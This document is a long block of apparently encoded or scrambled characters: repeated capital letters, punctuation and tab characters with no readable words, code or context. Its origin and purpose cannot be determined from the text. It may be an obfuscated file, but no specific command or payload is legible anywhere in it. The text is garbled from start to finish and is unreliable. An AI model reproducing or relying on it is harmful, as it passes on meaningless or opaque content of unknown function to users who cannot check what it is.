OUVSUNNGGGGGFZZGGGN\mGGOQ^	UOUVSVNOC	KGGC
 8UW	^Q
NGGFZZGGGGAAGQ^	UOUVSVNOC	KGGGGGGC
VT_	^NGGGFZZGGGGGGGAAGGFC	PWRNGG	GGG\mC	GGZGGGT
OUVSTNOT
OUVSSNKGGEEKGGCQR	N\mGGOFQ^	UOUW^SNOC	NNGGmGGGSS_UU8O8T OPTVNKGGGQ^	UOVRQWNN\mmGGG	GGG\mGGmGGCQP 8GGGGGGZGGGT VUON\mGGGGGGGOFCQP 8NGGGGG	G\mmmGGGCW VURU VGZGQ^	UOUVSRNGIGGG8T OUWQUNO8T OUVSQNOCUWGIGO	 NGSQQ
SUONNKGGGWKGGGO^_9VWQNN\mGCQ_VUS^GGGZGGGG	^8
SSQ8S^Om8T OUVSPNKmO@884+2 88@KGGG@887+2 .)8%&4"QS88@KGGGGG@88 2&5#8)&*"88@KGG@881"54.()88@NKmGOCUWKGCQP 8KGCW VURU VKG _ Q	QTPONNmGGGGGN\mGmmGGGOFCQ_VUS^NGGGmGGGGGGOO	NGG 8	OQ^	UOUVS_NKGGGWNGYGGGGWNGGGGSS_UU8O8T OPTVNKGGGT
OUVS^NN\mmmmGG	G\mGmmGGGGGC	GZG8_PRSPOC	N\mGGGGC	 QGZGGG _	S^OUVSTNOQ^	UOUVRWNKGGGGEEKGCQ_VUS^N\mGCT	PGZGGO8T OUVRVNOC	NGGZZZGGWN\mmmGGGOFCT	PNGGGGmGGOF 8PQVPU	OT
OPTVNNNGGmmmGGGGGSS_UU8O8T OPTVNKGGGGT
OVRQUNN\mGGG	GG\mGmmGGOF	WV8^ROC
SSKGGGGGGC	NNGmGSS_UU8OQ^	UOPTVNKGGGG8T OVQSVNN\mmmmGGGGG	G\mGGmGG
 WOT
OPTVNN\mGGGGGmGGGGOF	WV8^ROC
SSKGEENNGC8^Z^LV^\CWZC8^JVR\mGGGGSS_UU8OQ^	UOPTVNKGGGGGQ^	UOUVRUNN\mm	GGGG\mGGGGGmGGGGmGC WR8GGGZG^R^
UP
8_PTQ^OC	KGGC
 8UW	^Q
GGGIGGE;	EGGIGC	 QGGIGGGGE;	EGGIGC
VT_	^N\mmmmGGOFTST		RVOC
SSKGC WR8NNGGmGGGGG	GG\mmGGGmGGGGGGOCT	PNGW^SS^8OC
SSN\mG	GGGGG\mGGGGGO3GGGGC	VRV8UNGGGGmGGGGSS_UU8OQ^	UOPTVNKGC	VRV8UN\mGGGGGGGG	GG\mmGGGGGO"	GGC	VRV8UNGGGmG	GGGG\mGGGGGmmmmmmmm		GGGGT
UPTRONmGmGGGGGGCT	8GGGGZGON\mGGmmGGGGGGGGGOF8T OUVU_NO _	S^OUVV_NNNG	GCT	8\mGGGGGC88 RGGZGGO	O8T OV^P_NNGGGGXGGGGGG078$()3")38#.5G]GGGGO	OQ^	UOV^VPNNGGGXGG&%47&3/GGIGGQ^	UOUVRTNGGG]GEENNGIGGT
OUVRSN\mmGGGGC	US	UPGGZGO	 NGGG' 8	OT
OVURTNKGGGEEN\mGGGGGOC	US	UPGGGFZZGGEENGGCT	8<:GGGGZGC88 RGIGGGC	US	UPGIG8T OUWSRN\mGCPR8
^GGGGZGGGO	 NGG' 8	O _	S^OVURSNKGEEN\mmmGGGGOCPR8
^GGGFZZGEEGAAGGCPR8
^GFZZGGC	US	UPNGGCT	8<:GZGGC88 RGGGIGGGGCPR8
^GGGGIGQ^	UOUWSRN\mmmmGGG	GGCT	8\mGGGmGG		GP
^RVR	^ONmGmGGGGGmGGGOF	OQ^	UOV^VPNNGGFT
OUVU_NO _	S^OUVRRNNNGG	\mGGGGGOT
UPTRONGGGGGGGGCWWR^ P
^NGGGGmHHGGGmmmGGGCV Q8Q	GZGGG
U	_T _ONGGIG8T OUVRQNGIGG^OCWWR^ P
^KGGGOVVLVNNGGIGGQ^	UOV_TPN\mGGGGGOF'Q^	UOUVVVNOCV Q8Q	NNGGG		\mGGGO'Q^	UOUVVVNOCWWR^ P
^NGGGAAGGGG' _	S^OUWSWNOCWWR^ P
^NGYGGGGWNGG		\mGCQRWGGGGGZGG' _	S^OUVWRNOCV Q8Q	N\mGGGGGOF8T OUW^SNOCQRWNGGGGGGGCQRWGGGGGZZZGGGGEENGG		\mmmGOTST		RVOCWWR^ P
^KGGGCQRWNNGGGGGmGSS_UU8OQ^	UOUVRPNKGGGG _	S^OUVR_NN\mGG'8	O8T OUVR^NKGGT
OV__UNONKGGG8T OUWVTNN\mGGGGmGmHHG'G	J
	JmmGGGGGGGO3GGGC	VRV8UNGGmGSS_UU8O _	S^OUVRPNKGGGC	VRV8UN\mGGGGGGGGO"	GGC	VRV8UNGmmmmGmGGGGGG		GGT^S8R^URUONmGGGGGmmmmGGmGGOF	OT
OUVQWNNNG	GGGGGG\mGGGGGGmmGGCGGGGZGGGGT
UPTRON\mGGGGO
OCNNGGG	GGG\mGC_  GZGO	NGG 8	OT
OUVQVNKGGGGGWN\mGGGGGOC_  GAAGGGG _	S^OV__UNONGJGGGGGC_  GG[GOWUSLWVUQNNG	G\mGGGCVPR		GZGG _ Q	QTPONGGIGGG@]@GGIGGG^O&%47&3/GGGGIGGGGGG8T OV_VRNKGGGGGGOWQLWUNN\mmmGC
 8UW	^Q
GGZGGQ^	UOUVQUNGGIGGGGGCVPR		GGIG _	S^OUVQTN\mC
VT_	^GGGZG8T OUVQSNGGGGIGCVPR		GGGGGIGGGGQ^	UOUVQTN\mCW VURU VGGGZGGQ^	UOUVQRNGIGG8T OUVQQNO8T OUVSQNO&%47&3/GGIGGGO	 NGGGSQQ
SUONNKGGGGGGWKGOU[[UNN\mGCUWGGZGGGT
OV^^RNOVQ^^WWT
WONKGG _	S^OUVQPNN\mGCQP 8GGGGZGT VUON\mGGGmmGGGGOFCQP 8NGG	GG\mCQRQT	GZGGGG	^8
SSQ8S^OmGG _	S^OPTSNKmGGO@884+2 88@KG@887+2 .)8%&4"QS88@KGGG@88 2&5#8)&*"88@KGG@881"54.()88@NKmGGGGGGOCUWKGCQP 8KGGCW VURU VKGGGGG _ Q	QTPONNmGGGGGGGN\mGGGGGGOFCQRQT	NGGGGGmmmGGGGGGGOO	NGGGGG 8	OQ^	UOUVS_NKGGWNGGGGGYGGGGWNGGSS_UU8OQ^	UOUVRPNKGGGGGGT
OUVQ_NN\mGGGG	G\mGGmGGCQRQT	GGGZGG8T OUVQ^NO _	S^OUVRWNKGGGGEEKGCQRQT	N\mGGGGGGGGOFQ^	UOUW^SNOCQRQT	NGGGGCQRQT	GGGGZZZGGGGEENG	G\mGGGGOCGGGGGC
 8TNGGmGGGGGGGGGGOF'8T OUVVVNOC
 8TNNGG		\mC^
QGZGG8T OUVU_NO _	S^OVWSNNGGXGGGGG'Q^	UOVWSNOC
 8TKG@@NGGG]GGG\mGGGOC^
QGGFZZGGGGGGGAAG8T OUVU_NO _	S^OUVPWNNNG'OC^
QKGG+($,8"?N\mGC	GGZGGGGGG'T
OUVWRNOC
 8TN\mGGGOFT
OUW^SNOC	NNGGGGGmGSS_UU8OT
OUVPVNKGT
OVSSUNN\mGGGGGGGOC^
QGGGGGFZZGGGNGGGGmmGO8T OUVPUNO8T OUVPTNNNGGG'OC^
QKGGGG+($,82)N\mGGGGG'OC^
QN\mGmGGG		\mGGmGGGmmGGGGGGO _	S^OUVRVNOC	NGYGGGGOWVTLWTWTNNGGGGGC	GGGZG8_PRSPOC	N\CSRZVWQV^R\C	PV_ZCSR9VS\mGGGGGGOQ^	UOUVSVNOC	KGGGC
 8UW	^Q
NGGGGGFZZGGAAGGG8T OUVSVNOC	KGGGGGC
VT_	^NGGFZZGGNG	GGGGG\mmGGGGGGOF'T
OV^TQNOC
 8TNNGGG		\mmmmGGGGGCV Q8Q	GGGZGGG
U	_T _ONGGGGGIGGT
OUVPSNGGGIG^OC
 8TKGGOQ[[VNNGGGGGGIGQ^	UOUVPRN\mmmmGGC	V^GZG^O&%47&3/GGGIGGG _	S^OUVPQNKGGGGGOU[[UNN\mGC	GGGGZGG	^SVTOC	KGG8T OUVVUNKGG _	S^OUVPPNN\mGGGC	GGGGGZGG8T OUVP_NO8T OUVP^NKGGGGGGEEKGGC	N\mGGOFQ^	UOUW^SNOC	NNGmmGGGGSS_UU8OQ^	UOUV_WNKGGGQ^	UOUV_VNN\CW WZVVSU_\CSVZCW W9UWW\mmmGGGG		\mGGmGGOQ^	UOUV_UNOC	KGT
OUV_TNNGGGGFZZGGGGGT
OUV_UNOC	KGT
OUV_SNNGGGGGFZZGGGGNGGmCSUT
GZGGGGG'Q^	UOUVVVNOCV Q8Q	NGGGXG' _	S^OUVWRNOCV Q8Q	NGGG]G\mGGGGGOFQ^	UOUW^SNOCSUT
NGGCSUT
GGGZZZGEENGGGGC^SSVPZURP_\CP8RZC^SSVPBVS\mGGSS_UU8OQ^	UOUV_WNKGG _	S^OUV_RNN\mGGG		\mGmmGC	GZGGGGGCSUT
\mGG	OCSUT
N\mGGmGGGCUPUQGGZG8QR_OC	N\mGGGGGO _	S^OUW^SNOCUPUQNGGAAGGGGGCUPUQGGGGGFZZGGEENGGGGmmGGGGGCT_UQGGGGZGGGG'T
OUVVVNOCV Q8Q	NGGGGXG' _	S^OUVWRNOCV Q8Q	NGGGG]GG\mGGGGOFQ^	UOUV_QNOCT_UQNGGGGCT_UQGGGGGGFZZGGCUPUQNGGTST		RVOCV Q8Q	KGGGCUPUQN\mmmGGG	OCT_UQN\mmGGG	OCUPUQN\mGGGCQ W	
TVGGGZGT
OVQWUN\mGGGGGOT
OUVRVNOC	NGGYGGWGGAAGGGQ^	UOUV_UNOC	KGGGGGT
OUV_PNNGFZZGGGGGAAGGGGGQ^	UOUVQQNOT
OUV__NOC	NKGJUNGGGGFZZGGGGGG8T OVQ^QNNGGGmGGGGGGCQ W	
TVGZGGGGEE\mGmmmGGGGGGGCW^	TGGGGZGGGOQ^	UOUV_^NOC	NGGGGYGGGWNGGGXGGGE;	EGG]GEE\mmGGGCTWGZGCW^	TGGGIGGCQ W	
TVGIGC
 8UW	^Q
GGGIGGE;	EGIGGGCQRQT	GGGIGE;	EGGIGGGC
VT_	^GIGE;	E\mGGGGGGOF	WV8^ROC
 8TKGGGGGC	NNGGGmHHGG	G	JmmmGGSS_UU8OT
OUV_WNKGG _	S^OUVRUNN\mmGGGG		\mGGGGGGGmmGGGGOFTST		RVOC
 8TKGGC	GGIGGCTWNNG		\m	GG\mGGGGG	GGmmGGGGGGGGGGGGGOC^
QGGGGGFZZGGNGGmGGGO8T OUVPUNO _	S^OUVPTNNNGGGGG'OC^
QKGGGGG+($,82)N\m'OC^
QN\mGGmGGmGmGG	GGG\mGGGGGGGO3GGC	VRV8UNGGGmGGGSS_UU8O _	S^OUV_WNKGGC	VRV8UN\mmmmGG	GGGGGG\mGGGGGGGGO"	GGGGC	VRV8UNGmG	GGGG\mmGGmm		GG8	QQ_RRSVONmmmmGGGGGGGGGGmmmmGGGGOF	OQ^	UOUVQWNNNGGGG	\mGGO
VT_QUV
 ROVQ^^WWT
WONNNGGGG	\mGGCS VQWGGGZGUP_W
_^ON\mGGC_S _^QSGGGGGZGGG^O&%47&3/GGGGGGIGGG8T OVQVRNKGGGGORQ9S_NNGGGIGGGGQ^	UOUV^WN\mGGCUWGGGZGGGQ^	UOV^^RNOVQ^^WWT
WONKGGGGG8T OUV^VNN\mGGGGGCWSV 	GGZG	
UVUON\mGGGGOFCWSV 	GGG8T OUV_^NOCWSV 	NGG[GGGOSV^L_VNNGGmGSS_UU8O8T OVSP^NKGGGG _	S^OUV^UNN\m	\mmmmGGOF8T OVRURNO8T OUV^TNNNGGG	\mGGC__
SU_GGZGOmGGCS VQWGGGGGIG@H@GGIGGC_S _^QSKmmGGCS VQWGGIGGQ^	UOUV^SNGGGIGG8T OUV^RNO8T OUV^QNNGGGIGGGC_S _^QSKmGGN\mC	TWRGZGGO	O8T OUV^PNNGGGGGXGGGG078$()3")38#.5GG]GGG&%47&3/GIGG8T OUVRTNNGGIGGGQ^	UOVURQN\mmmmGGGO'Q^	UOV^_UNOC	TWRNNGGmGGGGC8R
S8TQUGZGGUVT	PRPOC	TWRN\mmGGGGGO _	S^OUVUUNOC8R
S8TQUNNGGmmmmGGGGGOC8R
S8TQUGGGGGGGC	VRV8UNGGGGGmCU GGZGGGGGC	TWRGGGGGGIGG@H@GIGGGC	VRV8U\mGGGGGO'T
OV^_UNOCU NGAAG'T
OV^TQNOCU NNGGmC__
SU_<:GZGGGGCU GGIGG@H@GIGC_S _^QS\mmmmG\mGGGmmmmGGmHHG'	GJmmGGGmmHHG	JGmmGGGGOC__
SU_GGGGGGCPR_NGGGmGGGGGGGGO'T
OUV^_NOCPR_NGGGGAAGGG' _	S^OUV^^NOCPR_NGYGOWLWU^NNGmGGC	WQGZGG _	S^OUV^TN\mmGGGGGO8T OVRURNOC	WQNNGmGGCW
PGGZG	GGGGGGC	WQON\mGGGGGO'CW
PJY	OCPR_NGZZZGGNGGGGmmmmGCW
PJYON\mG		\mGmGGmGGGGmmmmCPVWGZGGGQ^	UOUW^PNOCPR_N\mGGGOF'T
OV^_UNOCPVWNNG8	VSS OCPVWKGOT^ULVWVNKGGN\mGGGGC	WQGZGT
OUV^TN\mmmGGCV
PGGGGZGGGGGG8QQ	TS8VQWQOCPVWKGG _	S^OVVW^NN\mmmGGGGGGGOCV
PGGGZZZGNGGGG		\mC888QGGZGG	GGGGC	WQON\mGGO'C888QJY	OCV
PKGGC	WQ]]$5"&3"GGGGGGGGC	WQ]](1"505.3"NGGGGZZZGGNGmGGGGC888QJY!
4	 OCUWGGIG@H@GGIGCUWGGGGGGIG8T OUV^VNKGGCWSV 	N\mGGC888QJYON\mGGCTSP
 QGZGG	GGGC	WQON\mGGGGGGGO'CTSP
 QJY	OCV
PNGGZZZGNGGGGmGGGCTSP
 QJYON\mGGGGOPRW8UOCV
PKGGCPR_NGGGGGOPQ WOCV
PKGCPR_NGGGGGAAGGGGWT	OCV
PNNNGGGmGGGGWWSPP	8T_ OCPR_KGVSQONN\mmmGGT8OCPR_KGOTPVLS^NN\mmmmGGGGGGGGGGmHHG07G4G4G5	]G		J
GmmmmmGGGWT	OCV
PN\mmHHG
G
mmGGGGGmGGGWT	OCV
PN\mGGmGGGmGGGGGGWT	OCV
PN\mGGGGmGmGGGO3GGGGGGC	VRV8UNGGGGGGmmmmGGGGSS_UU8O8T OVQVRNKGGC	VRV8UN\mGGGGGGGGGGGGO"	GGGC	VRV8UNGGGmmmmmmGGG		G^^U UWWONmGmmmmGGGGmmmGGGGGOF8T OUVPUNO _	S^OSTPNNGGGGF8T OUVPUNOT
OUUWWNNNGGG	\mGGGGOF	O _	S^OUUWVNNNGGG	\mmGCPV8GGZG8T OUVTWN\mGGOF8	8OCPV8NNGGmmm88	O8T OV__UNONGGGLGGGGGOU^UL_NKG _	S^OUUWUNKGGGGGGCPV8N\mHHGJ	G	GJmmGGGGmmmGGGGGGGOF8	8O8T OUVTVNNNGGGGmG88	OQ^	UOUUWTNONGLGORWTL^PNKGQ^	UOUUWSNKG8T OUVTVNN\mGGmHHGG		mmGGGGGGO3GGC	VRV8UNGGC	U^^ZVUVV\C QQZC	U^^B^\mGGGGGSS_UU8O _	S^OUUWRNKGC	VRV8UN\mGGGGGGGGGGGO"	GC	VRV8UNGGmGmmmGmmmm		GGG8TV^^T PONmGGmGGGGGmGGOF	OT
OUUWVNNNGGGG	\mGCQRRGGGGZGGGGGG^O&%47&3/GGGIGG@ @KGOV9^NN\mGGGGC 
	PGGZGGON\mGGGGO8T OUVPUNOQ^	UOUUWQNNNGGGC 
	P<:GGZGG
U	_T _ON\mGC 
	P<:GGZG&%47&3/GGGGIGGGG8T OUUWPN\mGGmmGGGO _	S^OUVPUNO _	S^ORSNNNGC 
	P<:GGZGGUP_W
_^ON\mGGGGGOC 
	PGGGGC
SWQVNGmCTWRGGGGZGGGGGGC
SWQVGGGGGIGGG _	S^OVQSPNGGIGGCQRR\mGGGGGGO'T
OUUW_NOCTWRNGAAGGGO	NGG' _	S^OUUW^NOCTWRNGGYGGGGT
OUUWTNONGGJGGGGOTVVJPVNNG	\mGGmmGGGGGGGOC 
	PGGGGGGC
SWQVNGGmGGGC8T	V
R8GGGGGZGGGC
SWQVGGGIGGGGT
OUUVWNGGIGCQRR\mGGGO'T
OUUVVNOC8T	V
R8NNGGmGGGGCRGGZGO	NGG' _	S^OUUW^NOC8T	V
R8N\mGGGGOCRGYGGGGGGT
OUUWTNONGGGJGGGGO_QTQ_LTUNGGGGAAGGCRG[ZGGGT
OUUVUNONGGLGGGGGOPWLUTWNNGG		\mGGGGGGGWT	OC8T	V
R8N\mGGGmCR	^ GZGGGGGC
SWQVGGGIGG8T OVQRUNGGGGGGIGGCQRRGGGGGGIG _	S^OUV^VN\mGGGGO'T
OUUVTNOCR	^ NGGGAAGGO	NGGGG' _	S^OUV^^NOCR	^ NGYGOS_ULV_NNGGmCU	QT^STGGGZGGC
SWQVGGGGIGGGQ^	UOVQ_VNGGGGIGGCQRR\mGGGCQVRGGGGZGG'8T OUUVTNOCU	QT^STNGGXGGGGQ^	UOVU_VNOO	 NG'T
OUVWRNOCU	QT^STNNGG]GGGGGEE\mGGGGGGGGOCQVRGGFZZGGEEGGAAGGGG8T OUVPUNO _	S^OUUVSNNGGGAAGG'
R8OCR	^ NGGGZZZGCQVRNGmG'	GGCR	^ \mGGG	\mGGmGGOCQVRGFZZGEENGGGmGGWT	OCR	^ N\mGGGGGGGGmGGGG	OCU	QT^STKGGGGGCQVRN\mmGGGmGGG	OC8T	V
R8KGGGGGGCRN\mGGGGGO _	S^OUVPUNOQ^	UO_^WNNNG'8		OQ^	UOUUVRNN\mGGGP
	 SVVON\mGGmmmmmGGGGGGGGO3GGGC	VRV8UNGGGmSS_UU8OT
OUUVQNKGGGC	VRV8UN\mGGGGGGGGO"	GGGC	VRV8UNGGmGGmGGm		GGGGG_QPQ^V_ ONmGmGGmGGGOF	OQ^	UOUUVPNNNG	\mGGGGGST
PSVQQ_P O	N\mGGCUWGGGGZGG8T OV^^RNOVQ^^WWT
WONKG8T OUV^VNN\C  VZVQMQ\CUT88ZC  VJVR\mGGGC^WGZGGGVQ^^WWT
WON\mGCWSV 	GGZGEE\mGGGGGGGO'8T OUUVTNOC^WNGAAG'Q^	UOUUV_NOC^WNGGGYGGO^__TJS__TNNGmGGGC	UUR
GGGZGGO	 NGG'T
OUVWRNOC^WN\C_ZJSR\CV8^R ZOC_YWNXC_]JC_\mGGCUSSRQ
GZGGGG _	S^OUVPUNO _	S^OUUV^NNGGGXG8_PRSPOC	UUR
NG]GGGGGC	UUR
\mGGGGGGGO8T OUUUWNOCUSSRQ
NGGAAG8T OUV_^NOCUSSRQ
NGGGGGGYGGO^VUJSVUNGAAGGR	^W8POCUSSRQ
NNGCWSV 	GGZGGGGGGCUSSRQ
\mG	OC	UUR
KGGGGCUSSRQ
N\mGGmGGGGOCWSV 	GGGGZZZGGEENGGGmCURGGZGGG^O&%47&3/GGGIGGQ^	UOUUUVNKGOV^J^NN\mGGGGGCQP 8GGZG8T OUVPUNO8T OUVRRNNGGGGGGXG' 8	OCURKGEENGGG]GGEE\mGGGGGOFCQP 8GGGGGGGQ^	UOUUUUNOCQP 8NGG[GGGGOSSRLRRNNGG	\C8
SVZT^VT_\CRU
RZC8
SV9UUU\mCWSV 	GGZGGGGUTQ VOT
OSWUNOCQP 8NN\mGGGOFCWSV 	GGGGQ^	UOUUUUNOCWSV 	NGGG[GGGOSRULS_NNGG	\mmmGGGGOFR	^W8POCWSV 	NNGmGGGSS_UU8OT
OVU_PNKGGQ^	UO_PTNN\mG	\mGGGmGGGGGmGGCS VQWGZGGUP_W
_^ON\mGGC 
_
W VVRGGGZGGGCS VQWGGIGGG8T ORRNGGIGGGGGCUW\mC
   GGZGGGC 
_
W VVRGIGGG@H@GGIGCUWGGIGGGT
OUV^VN\mGGGGGGGGOF'T
OV^_UNOC 
_
W VVRNNGG8	VSS OC 
_
W VVRKGGGOSS_LSRNKGN\mGCQ 8
8GGZG'8T OUUVTNOC
   NGXGO	 NGG' _	S^OUVWRNOC
   NG]GGGGEE\mmCP^S	GGGZGGG\mGGOCQ 8
8GFZZGEEGGGGAAGGGGG _	S^OUWTSNO _	S^OV^^VNKGGGT
OUVQQNOCQ 8
8KGGWKGGOSWRTLSTNNKGGGGC8U^UP^QNGGGAAGG	8
OC8U^UP^Q<V:KGG _ Q	QTPONKG@Y@NNGCP^S	GGGGGZGGGGG\mGGG	OC8U^UP^QN\mGGGGGGGGGOFCP^S	GAAGGGGOCQ 8
8GZZZGGEEGGQ^	UOUVSQNO8_PRSPOCQ 8
8NNGGGGGFZZGGQ^	UOUVSQNOCWSV 	NNNGGmGGGGGGGGOTST		RVOC
   KGT
VR	OCWSV 	NNNGGGGGmT8OC
   KGGGGOT^ULU_NN\mG^SSSVTOC
   N\mGW^SS^8OC
   N\mmGGGGGGmGG	OCQ 8
8KGGGGCP^S	N\mGGO _	S^OUVPUNOT
OUVRRNNGGGAAGG _	S^OUUUTNOQ^	UOVPQQNNNGCRQVZTPMP\C_
ZCRQVJSP\mGGGCRTSSSVGZGGCUWGGIG@H@GGGGGIGGCUWGIGG8T OUV^VN\mmmmGGGGC_S^8PGGZGGG 8	O8T OUUUSNKGGGONN\mmmGGGGGGGGGGGOF _	S^OUVUUNOC_S^8PNNGC_S^8PGZGGON\mmmmGGGGGGOF8T OUUURNOCRTSSSVKGGGGGGC_S^8PKGGGGGNNGGGGmGGGGGGC_S^8P<:GGGGZGCRTSSSV\m8	OQ^	UOUUUQNKGGGGQ^	UOPWUNOC_S^8PNN\mmmmGGGGmGCV 
^GZGGGG8^	_SWW	ON\mGGGGGGGGO' _	S^OV^_UNOCV 
^NGGGG8	VSS OCV 
^KGGOSSQLSPNKGNNGGmCR WSTGGZGCV 
^GGGIGGGG@H@GGIGCUWGGIGGGQ^	UOUUUPN\mGGC	
 _	8GGGZGG' _	S^OUUVTNOCR WSTNGXGGGGO	 NG' _	S^OUVWRNOCR WSTNG]GEE\mGC8GGZGGGG\mGGGGGGGGGOC	
 _	8GGGFZZGGGGGEEGGGGGAAGG _	S^OUUU_NO _	S^OV^^VNKG _	S^OUUU^NOC	
 _	8KGWKGGOTSSPLQS^NNKGGGCQWNGGGAAGG	8
OCQW<V:KGGG _ Q	QTPONKGGGG@Y@NNGGGGC8GZG\mG	OCQWN\mmmGGOFC8GGAAGGGOC	
 _	8GGGZZZGGEEGGGGGGQ^	UOUVSQNO8_PRSPOC	
 _	8NNGGGGGGFZZGQ^	UOUUTWNOCWSV 	NNNGGGGGGC
		 Z_WVWQ\CR_RPRZC
		 9RV\mGOTST		RVOCR WSTKGGT
VR	OCWSV 	NNNGGGGmmGGT8OCR WSTKGGGOVVLSW^NN\m^SSSVTOCR WSTN\mmGGGGW^SS^8OCR WSTN\mGGGmHHG 
GmmGGGGGGGGOFC8NGGGGGmGC^
 QGZGG'Q^	UOUUW^NOCR WSTN\mGGGGGGOFC^
 QGGGGGOC^
 QGGGBGGOVRSWU_JRSWU_NNGGFZZGGGGGSQQ
SUONNGG^SSSVTOCR WSTN\mG	OC^
 QN\mmmGm	OC	
 _	8KGGC8N\mGGGGGmGGW WP	OCWSV 	N\mGGGGGO3GGGGC	VRV8UNGGGmmGGSS_UU8OQ^	UOUUTVNKGGC	VRV8UN\mGGGGGGGGGGO"	GGC	VRV8UNGGGGGmmmG		GGGPQQ88PONmGGmGGGGGGOFOC8 "3<@@:NGGGGGFT
OUUUWNOC8 "3<@@:NNGGG	\mGGC8P
P GGGGZGGGGGC8 "3<@@:\mGGGOC8P
P GGGZZZG8W	 	
8RO8T OVSWVNNNGGGGmGGGGGGGGGmC8R^SQ^WGGZGG
U	_T _ONGGIG@H@GIGG^O&%47&3/GGGGGIGGQ^	UOUUTUNKGOVVU9VUWNNGGGIGQ^	UOUUUPN\mGGCS	Q
GGZGGGG'8T OUUTTNOC8R^SQ^WNGGGXGGGGGO	NGG'T
OUUV_NOC8R^SQ^WNGG]GW\mGGOCS	Q
GGGYGGGOSRVLS^NGAAGGGCS	Q
GGGG[ZGORRPVPRLSQ_RPWRNNGGm	GGC8R^SQ^W\mGGmGGGGGO3GGGC	VRV8UNGGGGmmmmGGGGGGO"	GC	VRV8UNGGmGGGmGGGGO _	S^OSRQNONGYGWGGAAGG'8	8	ONNGmGGGmmmmGGGGGGGO _	S^OUUTSNN\m\mGGGGmmmmGGGGGGOC8P
P GGFZZGGGGG8W	 	
8RO8T OVTP^NNNGG	\mGGGGGGGGmGGGGGGGOQ^	UOUUTRNOT
OUUTQNNGGGGAAGQ^	UOUUTRNO _	S^OUUTPNNNGGGmGGGG'8	O8T ORQTNKGGO	NGG' 8	OQ^	UORQTNKGGWNGLGGGVKGGGQ^	UOUUT_NN\mmmGG'8	OT
ORQRNKGGG _	S^OUUT^NONKGT
OUUSWNN\mGmC 	PGGZGGUTQ	8RO _	S^OVTPQNKGGGGEEN\mmGGGO _	S^OUUUUNOC 	PNGGGGGGYGGO^_LUNGGAAGGF _	S^OUUSVNO8T OUUSUNKGGC 	PNGGAAGGQ^	UOUUSVNO8T OUUSTNKGC 	PNNGGGmmGGC^
PU8 GGZGGG'T
OSWUNOC 	PKGGGGGGN\mGGOC^
PU8 GGFZZGGGGAAGQ^	UOUUUUNOC^
PU8 NGGGGGYGGGGGGORRLSRNNGGC 	PGGZGC^
PU8 \mmmmmGGGGOT
OUUSSNOC 	PNGG[GGGOVT_JT_NNGGGGC 	PGGZGGGS_8_WQON\mGGGGO _	S^OUUSRNOC 	PNGG[GGOPPLUTNNGGmGGGGGOT
OSRQNONGGGGGYGGWGGGGAAGG'8	8	ONNGGCWT UZ^V_W\CWSV^Q^ZCWT UBT\mGGGGGGGGmGGGOT
OUUSQNN\mGOQ^	UOUUSPNN\mGGGGGO _	S^OUUS_NN\mGG\mmGmGC^RR	GGGGZGGGGUTQ	8ROQ^	UOUUS^NKGGEEN\mGGCP UPGZGG@E@GIGGGGGGT
OUUTWNOC^RR	GGGIGGGGC 	PNGIGGGGG@E@\mmmmGGGOOC84"51"5<T
OUURWN:NGGGAAGGGG8T OVU_VNOC84"51"5< _	S^OUURWN:NGGZZZGCP UPNGmGGGO _	S^OSRQNONGGGYGWGGAAGG'8	8	ONNGmGGGmGO8T OUURVNN\mmmGGGGOT
OUURUNGGGIGGGCP UPN\mGGGG\mGGGGmGGGO8T OSRQNONGGGGGYGGWGGGGAAGGG'8	8	ONNGGGGGmGGGGmO8T OUUSQNN\mGGGGGO8T OUURTNN\mGGGGGGGO8T OUURSNN\mGO8T OUURRNGIGCP UPN\mmmmGGGGGGC^RR	GIGGC 	P\mGGGG\mGGGGGGGGGO3GC	VRV8UNGmmGGGGGSS_UU8OT
OUURQNKGC	VRV8UN\mGGGGGGGGGO"	GGGC	VRV8UNGGmGGGGGSS_UU8OT
OUURQNKGC	VRV8UN\mmmHHG07G4G!]GG	mmGGmPQQ88PON\mGGGGG		GGGGRPRRS_ONmmGGOFOC8 "3<8T OUURPN:NNGG	\mGmGCRP 8GGGGGZGC8 "3<Q^	UOUURPN:\mGGGGOF _	S^OUUR_NOCRP 8NGGGGGGCRP 8GGGGZZZGGEENGGGGG	\mCRP 8GZG8T OPPNOCRP 8N\mGGCS_P8SGZGGON\mGGGGGGOQ^	UOUUR^NOT
OUUQWNNNGGGCS_P8S<:GZGO	 NGGGGGGT
OUUQVNO
8ONKG7/7825+8/(43N\mGGGGOQ^	UOUUQUNOT
OUUQTNNNGGGGmmmGC8 TPVGGGGGZGGGGGO	 NGGGG' 8	OQ^	UOUUQSNKGGEEN\mGGGGGGGGOC8 TPVGGGGFZZGGGEENGCS_P8S<:GGZGGGO	 NGGGQ^	UOUUQVNOC8 TPVKGGG7/7825+8/(43N\mGGGGGGmmGOOC84"51"5<T
OQSQN:NNGGGGGGCS_P8S<:GGGZGO	 NGGC84"51"5<8T OUUQRN:\mGGGCS_P8S<:GGZG WOEEN\mmmCS_TGGZG\mGGGGGO8T OV^PQNOCS_P8SNGGGGGGGCP^TSNGGGGGGCSU	RZ7/78.)38*&?H7/78.)38*&?\C8 ZCSU	RLS_\mGGGGOF _	S^OUUQQNOCP^TSNGGGCP^TSGGGGGZZZGGEENGGG		\mmGGGGO _	S^OUV_UNOCP^TSKGG@]@NGFZZGNGGGGCP^TSGGGGGZGGGGGT
OUVP_NO _	S^OUUQPNKGGGGEEKGGGGGCP^TSN\mGGGGGGGGGGO^O _	S^OPPNOCP^TSNGGIG _	S^OUUQ_NKGOVQP9VPVNNGGGGZZZGCRP 8NGGGGmmGGGCS_TGZGG\CQP 8_Z7/78*&-(581"54.()\CVSSRWVUZCQP 8_MQ\mmmm\mmGGGmGGOFCS_TNGGG	\mGCT
QGGGGGGZGG _	S^OVT__NO8T OUUQ^NKGGOUUS9URSNN\mGGGC	
RPR_GGZGGGGGGUTQ VOR8T	T	TQ8OCT
QNN\mGGGOQ^	UOSRQNONGYGWGGGGAAG'8	8	ONNGGGGmGmGOT
OUUPWNN\mGOQ^	UOUUPVNN\mGGGGGOC	
RPR_GGGGZZZGGCT
QNGGXGQ^	UOUUPUNGGIGQ^	UOUUPTNOCT
QNG]GT
OUUPSN\mmmGGG\mGmmGGGGGGO3GGC	VRV8UNGGGmGGGGSS_UU8OQ^	UOUUPRNKGGGGGC	VRV8UN\mGGGGGGO"	GGGGC	VRV8UNGGGmGGGSS_UU8O8T OUUPRNKGGC	VRV8UN\mGGGGGmGmGGGRPRRS_ON\mGGGGGGG		GGGUV_ _ONmGGmGGmGGOT
OUUPQNOT
OUUPPNNNG8	8
	ON\mGGGGGGGGGGO _	S^OUUPQNOT
